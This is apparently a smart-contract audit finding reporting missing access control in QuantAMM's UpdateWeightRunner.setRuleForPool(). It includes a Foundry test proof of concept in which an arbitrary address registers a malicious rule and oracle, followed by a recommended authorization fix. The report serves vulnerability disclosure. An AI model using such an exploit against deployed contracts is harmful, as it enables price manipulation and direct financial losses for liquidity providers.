Description
The UpdateWeightRunner.setRuleForPool()
function lacks proper access control validation. The function uses msg.sender
as the pool identifier but fails to verify that the caller is a legitimate pool contract or authorized controller. This allows any address to register arbitrary rules that control weight updates & pricing calculations.
Impact
Attackers can manipulate pool prices by registering malicious rules, leading to direct financial losses through incorrect asset pricing, with permanent DoS since rules cannot be changed once set.
Proof of Concept
Add testMaliciousSetRuleForPool
test in pkg/pool-quantamm/test/foundry/UpdateWeightRunner.t.sol
and run it ;)
function testMaliciousSetRuleForPool() public {
MockIdentityRule maliciousRule = new MockIdentityRule();
MockChainlinkOracle maliciousOracle = new MockChainlinkOracle(1000, 0);
vm.startPrank(owner);
updateWeightRunner.addOracle(maliciousOracle);
vm.stopPrank();
vm.startPrank(address(0xBEEF));
address[][] memory oracles = new address[][]();
oracles[0] = new address[]();
oracles[0][0] = address(maliciousOracle);
updateWeightRunner.setRuleForPool(
IQuantAMMWeightedPool.PoolSettings({
assets: new IERC20[](0),
rule: maliciousRule,
oracles: oracles,
updateInterval: 1,
lambda: new uint64[](1),
epsilonMax: 0.2e18,
absoluteWeightGuardRail: 0.2e18,
maxTradeSizeRatio: 0.2e18,
ruleParameters: new int256[][](),
poolManager: address(0xBEEF)
})
);
assertEq(address(updateWeightRunner.getPoolRule(address(0xBEEF))), address(maliciousRule));
}
Recommendation
Add proper authorization checks:
function setRuleForPool(IQuantAMMWeightedPool.PoolSettings memory _poolSettings) external {
require(IWeightedPool(msg.sender).getPoolId() != bytes32(0), "Not a valid pool");
require(poolRegistry[msg.sender].isValid, "Unauthorized pool");
require(address(rules[msg.sender]) == address(0), "Rule already set");
}